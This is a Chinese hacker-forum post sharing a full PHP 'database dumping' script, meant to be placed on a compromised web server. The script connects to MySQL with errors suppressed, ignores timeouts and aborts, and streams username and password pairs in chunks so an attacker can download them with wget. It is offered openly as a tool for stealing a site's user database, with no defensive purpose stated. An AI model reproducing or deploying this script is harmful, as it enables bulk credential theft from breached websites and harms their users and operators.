搜索
查看: 517|回复: 0

php wget脱裤脚本

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2014-5-21 17:31:28 来自手机 | 显示全部楼层 |阅读模式
mysql wget版本
  1. <?php
  2. //author: By Gavin
  3. //Usage: wget "http://xxx.com/wget_sql.php?sn=0&en=5000000&ln=50000" -O gavin.sql
  4. error_reporting(0);
  5. ignore_user_abort();
  6. set_time_limit(0);
  7. ob_clean();
  8. //配置数据库信息
  9. $DB_Server="127.0.0.1:3306";
  10. $DB_User="root";
  11. $DB_Pass="root";
  12. $DB_Name="DBName";
  13. //分段每次limit查询出来的条数,根据实际情况调整,默认为2w
  14. $max_limit_num = 20000;
  15. //最大缓存条数,防止占用过多内存,根据每条数据大小调整
  16. $max_cache_num = 5000;
  17. $gavin_start_num = intval($_GET['sn']); //接收起始条数
  18. $gavin_end_num = intval($_GET['en']); //接收结束条数
  19. if (intval($_GET['ln'])) $max_limit_num = intval($_GET['ln']); //接收每次分段查询的条数
  20. $gavin_down_num = intval($gavin_end_num - $gavin_start_num); //计算总下载条数
  21. if ($gavin_end_num < $max_limit_num) $max_limit_num = $gavin_end_num;
  22. $beishu = intval($gavin_down_num/$max_limit_num);
  23. $yushu = intval($gavin_down_num%$max_limit_num);
  24. $conn=@mysql_connect($DB_Server,$DB_User,$DB_Pass);
  25. if ($conn==FALSE) {
  26. echo "数据库连接出错!<br>";
  27. exit();
  28. }
  29. if (@mysql_select_db($DB_Name,$conn)==FALSE) {
  30. echo "打开数据库:".$DB_Name." 失败!";
  31. exit();
  32. }
  33. mysql_query("set names 'utf8'");
  34. $num = 1;
  35. $out_put_str = '';
  36. if (ob_get_level() == 0) ob_start();
  37. for ($i=0;$i<$beishu;$i++){
  38. $new_start_num = $i*$max_limit_num+$gavin_start_num;
  39. if ($i == ($beishu-1)) $max_limit_num += $yushu;
  40. $sql = "select username,password from `table_name` limit ".$new_start_num.",".$max_limit_num; //配置SQL语句
  41. $res = mysql_query($sql) or die(mysql_error());
  42. while($result = mysql_fetch_array($res))
  43. {
  44. $num ++;
  45. $out_put_str = $result["username"]."-->".$result["password"]."\n"; //格式化脱出的数据,根据SQL中的字段调整
  46. if ($num >= $max_cache_num){
  47. @ob_end_flush();
  48. $num = 0;
  49. }
  50. echo $out_put_str;
  51. // unset($out_put_str);
  52. }
  53. }
  54. ?>
复制代码
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表